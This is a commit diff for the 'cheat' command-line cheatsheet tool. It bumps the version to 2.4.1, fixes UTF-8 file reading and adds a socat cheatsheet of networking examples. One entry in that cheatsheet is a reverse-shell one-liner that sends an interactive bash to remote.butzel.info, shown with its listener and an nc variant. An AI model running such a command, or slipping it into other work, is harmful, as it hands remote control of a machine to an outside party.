Version-bump to 2.4.1

- Includes various bugfixes regarding UTF-8 encoding
- Adds new cheatsheets

bin/cheat

@@ -47,7 +47,7 @@ import os
 if __name__ == '__main__':
 
     # parse the command-line options
-    options = docopt(__doc__, version='cheat 2.4.0')
+    options = docopt(__doc__, version='cheat 2.4.1')
 
     config = Configuration()
     sheets = Sheets(config)

cheat/cheatsheets/socat

@@ -0,0 +1,37 @@
+# socat connect to http-server (port 80 on 'butzel.info')
+socat TCP4:butzel.info:80 -
+
+# connect to https-server (port 443 on 'butzel.info' with tls)
+socat openssl:butzel.info:443 -
+
+# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
+socat -x tcp-listen:3180,fork -
+
+# practical examples:
+
+# complete real working http-example:  
+#  (sleep is necessary to prevent socat closing socket before data received)
+(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ 
+| socat tcp4:butzel.info:80 -
+
+# http to httpS 'Proxy' (for an webserver without TLS-Support)
+socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
+
+# port forwarding (e.g. own port 3180 to port 22(ssh) on target
+socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
+
+# TOR-forwarding (needs tor-daemon on port 9050 running)
+socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
+
+# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
+socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
+
+# udp to tcp
+socat -u udp-recvfrom:1234,fork tcp:localhost:4321
+
+# reverse shell:
+socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
+
+# listener for above reverse shell (on remote.butzel.info):
+socat file:`tty`,raw,echo=0 tcp-listen:3180
+# or: nc -lp 3180

cheat/sheet.py

@@ -1,3 +1,4 @@
+import io
 import os
 import shutil
 
@@ -74,5 +75,5 @@ class Sheet:
         if not self.exists(sheet):
             Utils.die('No cheatsheet found for ' + sheet)
 
-        with open(self.path(sheet)) as cheatfile:
+        with io.open(self.path(sheet), encoding='utf-8') as cheatfile:
             return cheatfile.read()

cheat/sheets.py

@@ -1,3 +1,4 @@
+import io
 import os
 
 from cheat.utils import Utils
@@ -63,7 +64,6 @@ class Sheets:
         """ Assembles a list of directories containing cheatsheets """
         sheet_paths = [
             self.default_path(),
-            '/usr/share/cheat',
         ]
 
         # merge the CHEATPATH paths into the sheet_paths
@@ -92,7 +92,7 @@ class Sheets:
 
         for cheatsheet in sorted(self.get().items()):
             match = ''
-            for line in open(cheatsheet[1]):
+            for line in io.open(cheatsheet[1], encoding='utf-8'):
                 if term in line:
                     match += '  ' + self._utils.highlight(term, line)
 

config/cheat

@@ -1 +1,5 @@
-{"CHEAT_COLORS":true,"CHEAT_EDITOR":"vi"}
+{
+  "CHEAT_COLORS": true,
+  "CHEAT_EDITOR":"vi",
+  "CHEAT_PATH":"/usr/share/cheat"
+}

setup.py

@@ -1,13 +1,20 @@
 from distutils.core import setup
 import os
 
+# determine the directory in which to install system-wide cheatsheets
+# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
+# rather than hard-coding it here
+cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
+
+# aggregate the systme-wide cheatsheets
 cheat_files = []
 for f in os.listdir('cheat/cheatsheets/'):
     cheat_files.append(os.path.join('cheat/cheatsheets/',f))
 
+# specify build params
 setup(
     name         = 'cheat',
-    version      = '2.4.0',
+    version      = '2.4.1',
     author       = 'Chris Lane',
     author_email = 'chris@chris-allen-lane.com',
     license      = 'GPL3',
@@ -26,7 +33,7 @@ setup(
         'pygments >= 1.6.0',
     ],
     data_files = [
-        ('/usr/share/cheat', cheat_files),
+        (cheat_path, cheat_files),
         ('/etc', ['config/cheat']),
     ],
 )